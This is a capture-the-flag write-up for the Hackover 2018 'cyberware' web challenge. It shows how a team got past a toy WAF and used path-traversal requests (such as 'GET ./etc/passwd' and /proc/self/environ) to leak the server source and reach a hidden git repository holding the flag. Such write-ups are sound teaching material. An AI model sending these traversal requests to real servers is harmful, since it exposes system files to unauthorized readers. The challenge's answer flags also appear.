# cyberware### Description```We have some nice ASCII animals that we want to show you. As we take animalprotection very seriously we have rolled out our WAF beta test of Cyberwareapplication protector to protect the cuties.
Just carry on, this one is unbreakable.
http://cyberware.ctf.hackover.de:1337
```### SolutionSolving this task was a real team effort and I am really glad of this cooperation.
The ground was set by [**\_0kami**](https://d0vine.github.io/).Starting page displays a list of file links.
```cat.txtfox.txtkangaroo.txtsheep.txt```
But accessing them does not result in animals being displayed. Instead a `412 HTTP` response is send.
```HTTPHTTP/1.1 412 referer sucksServer: Linux/cyberDate: Fri, 05 Oct 2018 20:23:07 GMTContent-type: text/cyber
Protected by Cyberware 10.1```This can be resolved by removing `Referrer` header, thus allowing us to view files ie. `cat.txt`.```HTTPHTTP/1.1 200 YippieServer: Linux/cyberDate: Fri, 05 Oct 2018 20:21:08 GMTContent-type: text/cyberContent-length: 165
   ____  (.   \    \  |     \ |___(\--/)   __/    (  . . )  "'._.    '-.O.'       '-.  \ "|\          '.,,/'.,,```
[**\_0kami**](https://d0vine.github.io/) tried some standard tricks like path traversals:```HTTPGET /../../../../etc/passwd HTTP/1.1```which returned:```HTTPHTTP/1.1 403 Dots are evilServer: Linux/cyberDate: Fri, 05 Oct 2018 20:26:22 GMTContent-type: text/cyber
Protected by Cyberware 10.1```Then played around with various requests until he tried this:```HTTPGET ./etc/passwd HTTP/1.1```which worked as expected:```HTTPHTTP/1.1 200 YippieServer: Linux/cyberDate: Fri, 05 Oct 2018 20:32:57 GMTContent-type: text/cyberContent-length: 1285
root:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologin...smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologinctf:x:1000:1000::/home/ctf:```I plugged in with some ideas and we played with few not-so-random requests, none of which gave us flag. The only thing we learned was that there is a custom web-server implementation under the hood.```HTTPGET ./home/ctf/ HTTP/1.1
HTTP/1.1 403 You shall not list!``````HTTPGET ./home/ctf HTTP/1.1
HTTP/1.1 406 Cyberdir not accaptable```Knowing that server runs Linux, I extracted some more useful info:```HTTPGET ./proc/self/environ HTTP/1.1
HTTP/1.1 200 YippieServer: Linux/cyberDate: Fri, 05 Oct 2018 20:58:03 GMTContent-type: text/cyberContent-length: 147
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=7c26257684d8TERM=xtermHOME=/home/ctf```and```HTTPGET ./proc/self/cmdline HTTP/1.1
HTTP/1.1 200 YippieServer: Linux/cyberDate: Fri, 05 Oct 2018 20:58:26 GMTContent-type: text/cyberContent-length: 67
/usr/bin/python3./cyberserver.py```which let us obtain the server source code:```HTTPGET ./home/ctf/cyberserver.py HTTP/1.1``````python3#!/usr/bin/python3from threading import Threadfrom sys import argvfrom sys import getsizeoffrom time import sleepfrom socketserver import ThreadingMixInfrom http.server import SimpleHTTPRequestHandlerfrom http.server import HTTPServerfrom re import searchfrom os.path import existsfrom os.path import isdir
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):    pass
class CyberServer(SimpleHTTPRequestHandler):    def version_string(self):        return f'Linux/cyber'    def do_GET(self):        self.protocol_version = 'HTTP/1.1'        referer = self.headers.get('Referer')        path = self.path[1:] or ''        if referer:            self.send_response(412, 'referer sucks')            self.send_header('Content-type', 'text/cyber')            self.end_headers()            self.wfile.write(b"Protected by Cyberware 10.1")            return        if not path:            self.send_response(200, 'cyber cat')            self.send_header('Content-type', 'text/html')            self.end_headers()            for animal in ['cat', 'fox', 'kangaroo', 'sheep']:                self.wfile.write("{0}.txt"                                 .format(animal).encode())            return        if path.endswith('/'):            self.send_response(403, 'You shall not list!')            self.send_header('Content-type', 'text/cyber')            self.end_headers()            self.wfile.write(b"Protected by Cyberware 10.1")            return        if path.startswith('.'):            self.send_response(403, 'Dots are evil')            self.send_header('Content-type', 'text/cyber')            self.end_headers()            self.wfile.write(b"Protected by Cyberware 10.1")            return        if path.startswith('flag.git') or search('\\w+/flag.git', path):            self.send_response(403, 'U NO POWER')            self.send_header('Content-type', 'text/cyber')            self.end_headers()            self.wfile.write(b"Protected by Cyberware 10.1")            return        if not exists(path):            self.send_response(404, 'Cyber not found')            self.send_header('Content-type', 'cyber/error')            self.end_headers()            self.wfile.write(b"Protected by Cyberware 10.1")            return        if isdir(path):            self.send_response(406, 'Cyberdir not accaptable')            self.send_header('Content-type', 'cyber/error')            self.end_headers()            self.wfile.write(b"Protected by Cyberware 10.1")            return        try:            with open(path, 'rb') as f:                content = f.read()            self.send_response(200, 'Yippie')            self.send_header('Content-type', 'text/cyber')            self.send_header('Content-length', getsizeof(content))            self.end_headers()            self.wfile.write(content)        except Exception:            self.send_response(500, 'Cyber alert')            self.send_header('Content-type', 'cyber/error')            self.end_headers()            self.wfile.write("Cyber explosion: {}"                             .format(path).encode())
class CyberServerThread(Thread):    server = None    def __init__(self, host, port):        Thread.__init__(self)        self.server = ThreadingSimpleServer((host, port), CyberServer)    def run(self):        self.server.serve_forever()        return
def main(host, port):    print(f"Starting cyberware at {host}:{port}")    cyberProtector = CyberServerThread(host, port)    cyberProtector.server.shutdown    cyberProtector.daemon = True    cyberProtector.start()    while True:        sleep(1)
if __name__ == "__main__":    host = "0.0.0.0"    port = 1337    if len(argv) >= 2:        host = argv[1]    if len(argv) >= 3:        port = int(argv[3])    main(host, port)
```The code clearly shows that there is `flag.git` repository, but it is forbidden from access by regular expression.I thought briefly about it, pasted the problem on our chat:> **bezet:**>> search('\\\\w+/flag.git', path)>and switched to other task. Sometime later [**\_0kami**](https://d0vine.github.io/) poped back and instantly solved it!> **\_0kami:**>> Just as I though, /./ works:>```HTTPGET ./home/ctf/./flag.git/config HTTP/1.1
HTTP/1.1 200 YippieServer: Linux/cyberDate: Fri, 05 Oct 2018 22:04:11 GMTContent-type: text/cyberContent-length: 192
[core]    repositoryformatversion = 0    filemode = true    bare = false    logallrefupdates = true[user]    name = CyberControlCenter    email = [email protected]```
Slightly embarassed by not finding this obvious solution I focused on this task again.The first approach was trying to copy the repository using `git`.I set it up to proxy all requests via BurpSuite.Then added some in-Burp rules.First one to modify path so that it include dots as `git` was normalizing URL before request.And another one to change `Content-Type` header, as the server was returning `text/cyber`.Unfortunately this failed as the server was cheating with response `Content-Length` header as well:
```python3self.send_header('Content-length', getsizeof(content))```
I have noticed it previously(as Firefox save dialog was failing with some funny message) when it didn't matter that much as I have been sending all of the request from BurpSuite.The next step was to manually "touch" each request so that Burp will fix `Content-length` header.This somehow worked and I was able to start fetching repo, but then cloning failed on request for `http-alternate`.Anyway one of the files accessed was `objects/info/packs`, which contains list of packed objects stored in this git repository.```HTTPGET ./home/ctf/./flag.git/objects/info/packs HTTP/1.1
HTTP/1.1 200 YippieServer: Linux/cyberDate: Fri, 05 Oct 2018 22:13:49 GMTContent-type: text/htmlContent-length: 87
P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack```In this case there is only one. It should contain all objects(like commits, trees, files) relevant to this repository.```HTTPGET ./home/ctf/./flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack HTTP/1.1```After downloading it, `file` shows that there is 15 objects inside. Those can be extracted in an empty git repository:```bash$ mkdir tmp && cd tmp$ git init .$ cat ../pack | git unpack-objectsUnpacking objects: 100% (15/15), done.```We end up having partially initialized repository with interesting objects from the remote repository.```bash$ find .git/objects/* -type f.git/objects/13/01f01e7dbd26acd8ca5b09fab05b957e702365.git/objects/19/d59f1731e3b1ed08536321707a663c21b38400.git/objects/19/f882c9ad7aec1e682511525cc43e271896ae9e.git/objects/27/a0f21685cbd435d5376a4a6094f6c8b537e23a.git/objects/38/db5649511b84ec8f9eb6492dbe43eabe1e6a4a.git/objects/4b/825dc642cb6eb9a060e54bf8d69288fbee4904.git/objects/5e/9613e8069eb7a83c1b4554954fb7329490333a.git/objects/7d/dcca9c9752a2f616f9754dc100fc5e52f8f6df.git/objects/8c/2f73b4e42a6a1601c0396859aef4ab48da59ac.git/objects/9e/4f81dd9f577d028441c5227bd25ce9f17fb8ac.git/objects/ab/1f40973733187f862a972f3f612f3cf9ac6853.git/objects/b6/9c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a.git/objects/c0/e01b58327e785a581c32b97e639014aef0f31e.git/objects/dd/9ebcb882411a06c33ea9d8e4246acf70e7372e.git/objects/e8/911df8585b67c467809ddc78dac4b916659af7```There is a non-porcelain git command `git cat-file`, which will output git object contents given it's hash. As git stores objects in directories which are named with two first letters of hash, we need to concatenate directory and filename to get object hash. A quick oneliner later the flag is revealed.```$ find .git/objects/* -type f | sed "s#.*\([0-9abcdef]\{2\}\)/\([0-9abcdef]\+\)#\1\2#" | while read f; do git cat-file -p "$f"; done | grep hackover100644 blob 8c2f73b4e42a6a1601c0396859aef4ab48da59ac hackover18{Cyb3rw4r3_f0r_Th3_w1N}100644 blob 8c2f73b4e42a6a1601c0396859aef4ab48da59ac hackover16{Cyb3rw4hr_pl5_n0_taR}$```The funny thing is that there are two flags, one of which seems to be valid for the previous, 2016 edition of Hackover. The grown-up one is the one that submits.
### Flag
**hackover18{Cyb3rw4r3_f0r_Th3_w1N}**